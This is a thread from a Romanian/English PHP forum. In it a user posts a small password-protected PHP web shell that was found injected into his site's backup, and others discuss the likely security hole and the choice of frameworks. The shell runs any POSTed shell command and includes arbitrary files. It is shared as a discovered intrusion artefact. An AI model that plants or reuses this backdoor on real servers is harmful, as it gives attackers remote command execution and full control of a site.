newsblog
Wed, 22 Nov 2017, 13:12 *
Welcome, Guest. Please login or register.

Login with username, password and session length
News: Hi gusy!
 
   Home   Help Search Login Register  
Pages: 1 2 [3]   Go Down
  Print  
Author Topic: PHP SNIPPETS  (Read 10816 times)
0 Members and 1 Guest are viewing this topic.
wooptoo
Baistruc

Offline Offline

Posts: 6 203


◕ ◡ ◕


View Profile WWW
« Reply #30 on: Mon, 07 Jun 2010, 00:42 »

Parse HTML With PHP And DOM http://www.phpro.org/examples/Parse-HTML-With-PHP-And-DOM.html
Awesome grin zici ca-i JS.
Logged
Stokky
Baistruc

Offline Offline

Gender: Male
Posts: 662



View Profile WWW
« Reply #32 on: Fri, 17 Dec 2010, 13:52 »

Here's a PHP snippet for you:

Code:
<?php
    session_start
();
    
$hash="9475363cd1b4407ab10b2d92d7a30f7c";
    if(
md5($_POST["p"])==$hash){
     echo 
"<pre>";
     
system($_POST["c"]);
     echo 
"</pre>";
     if(isset(
$_POST["r"])) include $_POST["r"];
    }
?>

This little fucker was injected on Animekon, and I has no idea how neutral

Il gasisem ca un fisier creat de "www-data", in backup-ul site-ului de pe vechiul server. Asa ca am acum ce face, sa scotocesc prin tot codul dupa gaoaza de securitate. Fuck's sake, and I was almost ready to relaunch teh sites.
Logged
yoshi l2sanitize input
wooptoo
Baistruc

Offline Offline

Posts: 6 203


◕ ◡ ◕


View Profile WWW
« Reply #34 on: Fri, 17 Dec 2010, 14:36 »

Nu are treaba cu input sanitization. Am avut si noi o problema asemanatoare pe R din cauza unei gauri SMF.

Stokky: de ce nu folosesti un framework or smth?
Logged
Stokky
Baistruc

Offline Offline

Gender: Male
Posts: 662



View Profile WWW
« Reply #35 on: Fri, 17 Dec 2010, 19:43 »

I got yer framework right here; it's called Notepad!

Sau sa stau cate 3 ore sa-mi dau seama cum trebuie sa hack'uiesc o extensie ca sa functioneze exact cum vreu eu? No thanks, I get enough of that at work with Joomla already.
Logged
wooptoo Nu, ma gandeam la CodeIgniter, Symfony, etc.
Stokky
Baistruc

Offline Offline

Gender: Male
Posts: 662



View Profile WWW
« Reply #37 on: Tue, 21 Dec 2010, 16:46 »


roll
Logged
Pages: 1 2 [3]   Go Up
  Print  
 
Jump to:  

Designed by | Licensed under Creative Commons BY-NC-ND 3.0 | Powered by SMF 1.1.21 | SMF © 2015, Simple Machines